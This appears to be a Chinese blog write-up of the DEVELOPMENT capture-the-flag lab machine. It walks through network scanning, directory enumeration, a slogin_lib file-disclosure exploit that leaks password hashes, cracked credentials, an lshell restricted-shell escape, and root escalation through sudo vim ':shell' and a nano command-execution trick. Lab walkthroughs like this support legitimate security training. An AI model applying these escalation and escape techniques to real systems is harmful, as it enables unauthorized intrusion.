digitalworld.loacl-DEVELOPMENT

本文最后更新于 2024年11月12日 下午

cx 师傅也太努力了吧(。・ω・。),fighting!

探寻存活主机

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:4d:25:0e, IPv4: 192.168.88.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.88.1 00:50:56:c0:00:08 (Unknown)
192.168.88.2 00:50:56:e8:d9:46 (Unknown)
192.168.88.129 00:0c:29:25:4c:50 (Unknown)
192.168.88.254 00:50:56:e0:95:46 (Unknown)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.067 seconds (123.85 hosts/sec). 4 responded

192.168.88.129

探寻目标主机服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -n -sV -sC 192.168.88.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 20:11 EST
Nmap scan report for 192.168.88.129
Host is up (0.00029s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:07:2b:2c:2c:4e:14:0a:e7:b3:63:46:c6:b3:ad:16 (RSA)
|_ 256 24:6b:85:e3:ab:90:5c:ec:d5:83:49:54:cd:98:31:95 (ED25519)
113/tcp open ident?
|_auth-owners: oident
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_auth-owners: root
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
|_auth-owners: root
8080/tcp open http-proxy IIS 6.0
|_http-title: DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: IIS 6.0
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 12 Nov 2024 01:11:58 GMT
| Server: IIS 6.0
| Last-Modified: Wed, 26 Dec 2018 01:55:41 GMT
| ETag: "230-57de32091ad69"
| Accept-Ranges: bytes
| Content-Length: 560
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
| <html>
| <head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!</title>
| </head>
| <body>
| <p>Welcome to the Development Page.</p>
| <br/>
| <p>There are many projects in this box. View some of these projects at html_pages.</p>
| <br/>
| <p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodtech.com.sg.</p>
| <br/>
| <br/>
| <br/>
| <hr>
| <i>Powered by IIS 6.0</i>
| </body>
| <!-- Searching for development secret page... where could it be? -->
| <!-- Patrick, Head of Development-->
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 12 Nov 2024 01:11:58 GMT
| Server: IIS 6.0
| Allow: OPTIONS,HEAD,GET,POST
| Content-Length: 0
| Connection: close
| Content-Type: text/html
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Tue, 12 Nov 2024 01:11:58 GMT
| Server: IIS 6.0
| Content-Length: 293
| Connection: close
| Content-Type: text/html; charset=iso-8859-1
| <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
| <html><head>
| <title>400 Bad Request</title>
| </head><body>
| <h1>Bad Request</h1>
| <p>Your browser sent a request that this server could not understand.<br />
| </p>
| <hr>
| <address>IIS 6.0 Server at 192.168.88.129 Port 8080</address>
|_ </body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=11/11%Time=6732AB5F%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,330,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2012\x20Nov\
SF:x202024\x2001:11:58\x20GMT\r\nServer:\x20IIS\x206\.0\r\nLast-Modified:\
SF:x20Wed,\x2026\x20Dec\x202018\x2001:55:41\x20GMT\r\nETag:\x20\"230-57de3
SF:2091ad69\"\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20560\r\nVary
SF::\x20Accept-Encoding\r\nConnection:\x20close\r\nContent-Type:\x20text/h
SF:tml\r\n\r\n<html>\r\n<head><title>DEVELOPMENT\x20PORTAL\.\x20NOT\x20FOR
SF:\x20OUTSIDERS\x20OR\x20HACKERS!</title>\r\n</head>\r\n<body>\r\n<p>Welc
SF:ome\x20to\x20the\x20Development\x20Page\.</p>\r\n<br/>\r\n<p>There\x20a
SF:re\x20many\x20projects\x20in\x20this\x20box\.\x20View\x20some\x20of\x20
SF:these\x20projects\x20at\x20html_pages\.</p>\r\n<br/>\r\n<p>WARNING!\x20
SF:We\x20are\x20experimenting\x20a\x20host-based\x20intrusion\x20detection
SF:\x20system\.\x20Report\x20all\x20false\x20positives\x20to\x20patrick@go
SF:odtech\.com\.sg\.</p>\r\n<br/>\r\n<br/>\r\n<br/>\r\n<hr>\r\n<i>Powered\
SF:x20by\x20IIS\x206\.0</i>\r\n</body>\r\n\r\n<!--\x20Searching\x20for\x20
SF:development\x20secret\x20page\.\.\.\x20where\x20could\x20it\x20be\?\x20
SF:-->\r\n\r\n<!--\x20Patrick,\x20Head\x20of\x20Development-->\r\n\r\n</ht
SF:ml>\r\n")%r(HTTPOptions,A6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x20
SF:12\x20Nov\x202024\x2001:11:58\x20GMT\r\nServer:\x20IIS\x206\.0\r\nAllow
SF::\x20OPTIONS,HEAD,GET,POST\r\nContent-Length:\x200\r\nConnection:\x20cl
SF:ose\r\nContent-Type:\x20text/html\r\n\r\n")%r(RTSPRequest,1CC,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\nDate:\x20Tue,\x2012\x20Nov\x202024\x2001:
SF:11:58\x20GMT\r\nServer:\x20IIS\x206\.0\r\nContent-Length:\x20293\r\nCon
SF:nection:\x20close\r\nContent-Type:\x20text/html;\x20charset=iso-8859-1\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//IETF//DTD\x20HTML\x202\.0//E
SF:N\">\n<html><head>\n<title>400\x20Bad\x20Request</title>\n</head><body>
SF:\n<h1>Bad\x20Request</h1>\n<p>Your\x20browser\x20sent\x20a\x20request\x
SF:20that\x20this\x20server\x20could\x20not\x20understand\.<br\x20/>\n</p>
SF:\n<hr>\n<address>IIS\x206\.0\x20Server\x20at\x20192\.168\.88\.129\x20Po
SF:rt\x208080</address>\n</body></html>\n");
MAC Address: 00:0C:29:25:4C:50 (VMware)
Service Info: Host: DEVELOPMENT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: DEVELOPMENT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2024-11-12T01:13:29
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: development
| NetBIOS computer name: DEVELOPMENT\x00
| Domain name: \x00
| FQDN: development
|_ System time: 2024-11-12T01:13:29+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.05 seconds

存在的服务有很多:22:ssh,139/445 smb ,8080: http,

个人倾向喜欢先对web服务进行踩点

对目标主机服务进行信息收集

8080-http

F12中还有一段注释

这里获取到了一个用户名:Patrick。

进行目录扫描。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.88.129:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10 -b "" -s "200,301,403"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.88.129:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,301,403
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 936]
/development (Status: 200) [Size: 576]

/about


好像是一段介绍。

/development

给了一个test.pcap。下载下来。

用wireshark打开,在http流中发现一个php文件

http://192.168.254.157:8080/developmentsecretpage/directortestpagev1.php

/developmentsecretpage/directortestpagev1.php


有一个弹窗,意思是:局长,有什么需要注意的?

然后就会到页面中。

在这个登录界面发现,输入任意数会报错。我们查看报错的信息是什么。

/var/www/html/developmentsecretpage/slogin_lib.inc.php

搜下网络上是否存在这个文件的漏洞

https://www.exploit-db.com/exploits/7444?ref=benheater.com

通过尝试好像不能命令执行,但是下面还有一个user.txt

获得了用户名与hash值
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81
patrick, 87e6d56ce79af90dbe07d387d3d0579e
qiu, ee64497098d0926d198f54f6d5431f98

https://md5.gromweb.com/?md5=87e6d56ce79af90dbe07d387d3d0579e
https://crackstation.net/

使用此网站进行破解

admin,
intern,12345678900987654321
patrick,P@ssw0rd25
qiu,qiu

admin用户爆破不出来密码,但是在之前我们经常看见一个用户:patrick,那么就使用这个用户进行ssh登录
发现后面俩个用户密码都不对,使用intern吧。

22-ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(root㉿kali)-[/home/kali]
└─# ssh intern@192.168.88.129
intern@192.168.88.129's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-34-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Nov 12 01:34:34 UTC 2024

System load: 1.15 Processes: 174
Usage of /: 30.9% of 19.56GB Users logged in: 0
Memory usage: 44% IP address for ens33: 192.168.88.129
Swap usage: 0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

260 packages can be updated.
137 updates are security updates.


*** System restart required ***
Last login: Sun Nov 10 13:14:00 2024 from 192.168.88.128
Congratulations! You tried harder!
Welcome to Development!
Type '?' or 'help' to get the list of allowed commands
intern:~$ id
Traceback (most recent call last):
File "/usr/local/bin/lshell", line 27, in <module>
lshell.main()
File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 1165, in main
cli.cmdloop()
File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 385, in cmdloop
stop = self.onecmd(line)
File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 503, in onecmd
func = getattr(self, 'do_' + cmd)
File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 134, in __getattr__
if self.check_path(self.g_line) == 1:
File "/usr/local/lib/python2.7/dist-packages/lshell.py", line 303, in check_path
item = re.sub('^~', self.conf['home_path'], item)
File "/usr/lib/python2.7/re.py", line 155, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
Connection to 192.168.88.129 closed.

输入id后报错了?报的是python的错误?

进去看看$SHELL是什么先

lshell?这是一个python限制用户命令的东西

https://www.aldeid.com/wiki/Lshell?ref=benheater.com

可以使用os.system绕过


这下成功了。
不会再被限制了。

提权

普通用户提权

1
2
3
4
5
6
7
8
9
intern@development:~$ cat work.txt
1. Tell Patrick that shoutbox is not working. We need to revert to the old method to update David about shoutbox. For new, we will use the old director's landing page.

2. Patrick's start of the third year in this company!

3. Attend the meeting to discuss if password policy should be relooked at.

intern@development:~$ cat local.txt
Congratulations on obtaining a user shell. :)

emmmm,没什么有用的信息。且sudo -l 也需要密码。这里其实还查了计时任务:cat /etc/crontab

这里卡了一会,但是最终乱找的时候去网站目录看到了一个东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
intern@development:/var/www/html$ cat developmentsecretpage/directortestpagev1.php.save 
<html>
<head>Tes

<p> Hi Director! This is the test page to provide Director with eye-catching updates. </p>

<p> We know Director is busy and hence needs updates delivered in a timely manner.</p>

<p> Patrick and I will routinely update this page with a pop-up that details if there is anything important.</p>

<script>alert("Director, there is nothing for your immediate attention.");</script>

<!-- Director's comments: Does this not appear to be rather silly? I think we can make use of shoutbox. -->
<!-- Patrick's response: OK. When do you want it? -->
<!-- Director's comments: In three months' time. -->
<!-- Patrick's response: We are going to trial version 2 at shout.php. I think it's more accessible to all staff members and is no longer in the developersecretpage directory.-->
<!-- Director's comments: Approved. -->

<p> Regards <br/>
Patrick<br/>
Head, Development Network</p>

<p>
<a href="<?php echo $slogin_php_self."?logout=1" ?>">Click here to log out.</a>
</p>

<?php include_once ($slogin_path . "footer.inc.php"); ?>

好像也没信息0.0.

最终也是抱着试试的态度,有点脑洞可能。就是之前我们爆破出来的patrick用户的密码不能够进行ssh登录却可以su登录。

其实是在/etc/ssh/sshd_config中设置了允许使用ssh登录的用户

所以我们的patrick在使用ssh的时候密码错误。

那么我们现在使用su 进行提权

root提权

接下来就是紧张刺激的root提权了

有俩个,一个vim一个nano

vim 提权

1
2
sudo vim
:shell

即可提权

nano提权

1
2
3
nano
Ctrl+R Ctrl+X
rest; sh 1>&0 2>&0


digitalworld.loacl-DEVELOPMENT
http://example.com/2024/11/12/digitalworld/
作者
butt3rf1y
发布于
2024年11月12日
许可协议